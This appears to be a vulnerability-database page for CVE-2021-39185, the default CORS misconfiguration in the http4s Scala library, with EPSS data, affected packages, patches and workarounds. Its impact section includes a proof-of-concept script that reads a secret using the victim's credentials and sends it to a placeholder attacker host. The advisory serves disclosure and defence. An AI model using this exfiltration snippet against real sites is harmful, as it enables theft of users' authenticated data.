Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
☕
☕ Maven
Not in CISA KEV
CRITICAL severity

CVE-2021-39185 — http4s-server_2.13.0-M5

CRITICAL

CVE-2021-39185 is a critical-severity (CVSS 9.1) CWE-346 vulnerability in org.http4s:http4s-server_2.13.0-M5. A fix is available for org.http4s:http4s-server_2.13.0-M5 — see the affected versions and patch details below.

Default CORS config allows any origin with credentials

Also known asGHSA-52cf-226f-rhr6
Published
Updated
Affected
11 pkgs
Patched
8 / 11
Exploits
None indexed
Exploitation data as of Oct 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk
0.00%0.36%0.73%1.09%0.2%0.6%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2021-39185 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

11 pkgs affected
☕org.http4s:http4s-server_2.13.0-M5☕org.http4s:http4s-server_3☕org.http4s:http4s-server_3☕org.http4s:http4s-server_2.10☕org.http4s:http4s-server_2.11☕org.http4s:http4s-server_2.12☕org.http4s:http4s-server_2.12☕org.http4s:http4s-server_2.12+3 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Origin reflection attack

The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app, using the default CORS config, running at https://vulnerable.example.com:

val routes: HttpRoutes[F] = HttpRoutes.of {
  case req if req.pathInfo === "/secret" =>
    Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)

The following request is made to our server:

GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...

When the anyOrigin flag of CORSConfig is true, as is the case in the default argument to CORS, the middleware will allow sharing its resource regardless of the allowedOrigins setting. Paired with the default allowCredentials, the server approves sharing responses that may have required credentials for sensitive information with any origin:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true 
Content-Type: text/plain

p4ssw0rd

A malicious script running on https://adversary.example.org/ can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org:

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerable.example.org/secret',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//bad-people.example.org/log?key='+this.responseText; 
};

Null origin attack

The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null, permitting a similar exfiltration of secrets to the above.

Patches

The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:

Migration

The CORS object exposes a default CORSPolicy via CORS.policy. This can be configured with various with* methods, like any http4s builder. Finally, the CORSPolicy may be applied to any Http, like any other http4s middleware:

val routes: HttpRoutes[F] = ???
val cors = CORS.policy
  .withAllowOriginAll
  .withAllowCredentials(false)
  .apply(routes)

Workarounds

It is possible to be safe in unpatched versions, but note the following defects exist:

  • The anyMethod flag, enabled by default, accepts methods that cannot be enumerated in the Access-Control-Allow-Methods preflight response.
  • Rejected CORS requests receive a 403 response, when the client should be the enforcement point. The server should just omit all CORS response headers.
  • Does not send Vary: Access-Control-Request-Headers on preflight requests. This may confuse caches.
  • Does not validate the Access-Control-Request-Headers of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.
  • Needlessly sends Vary: Access-Control-Request-Method on non-preflight requests. This should be harmless in practice.
  • Needlessly sends Access-Control-Max-Age header on non-preflight requests. This should be harmless in practice.
  • Sends an invalid Access-Control-Allow-Credentials: false instead of omitting the header. This should be harmless in practice.

Explicit origins

In versions before the patch, set anyOrigin to false, and then specifically include trusted origins in allowedOrigins.

0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
  anyOrigin = false,
  allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
  .withAnyOrigin(false)
  .withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)

Disable credentials

Alternatively, sharing responses tainted by credentials can be deprecated.

0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)

References

For more information

If you have any questions or comments about this advisory:

Affected Packages

11 total 8 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenorg.http4s:http4s-server_2.13.0-M5all versionsNo fix
☕Mavenorg.http4s:http4s-server_3≥ 0.22.0&&< 0.22.30.22.3org.http4s:http4s-server_3:0.22.3
☕Mavenorg.http4s:http4s-server_3≥ 0.23.0&&< 0.23.20.23.2org.http4s:http4s-server_3:0.23.2
☕Mavenorg.http4s:http4s-server_2.10all versionsNo fix
☕Mavenorg.http4s:http4s-server_2.11all versionsNo fix
☕Mavenorg.http4s:http4s-server_2.12all versions0.21.27org.http4s:http4s-server_2.12:0.21.27

Affected Products

1 product · 28 configurations
Application
http4stypelevel
≥ 0.22.0 && ≤ 0.22.2
3 versions
0.23.00.23.11.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.http4s:http4s-server_2.13.0-M5, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    No patched version of org.http4s:http4s-server_2.13.0-M5 has shipped for CVE-2021-39185 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Impact #### Origin reflection attack The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com: ```scala val routes: HttpRoutes[F] = HttpRoutes.of { case req if req.pathInfo === "/secret" => Response(Ok).withEntity(password).pure[F] } val app = CORS(routes.orNotFound) ``` The following request is made to our server: ```http GET /secret HTTP/1.1 Host: vulnerable.example.com Origin: https://adversary.example.net Cookie: sessionId=... ``` When the `anyO
O3 Security · Impact-Aware SCA

Is CVE-2021-39185 in your dependencies?

Find it across Maven, including transitive dependencies.

CVE-2021-39185: http4s-server_2.13.0-M5 — Fixed in 0.22.3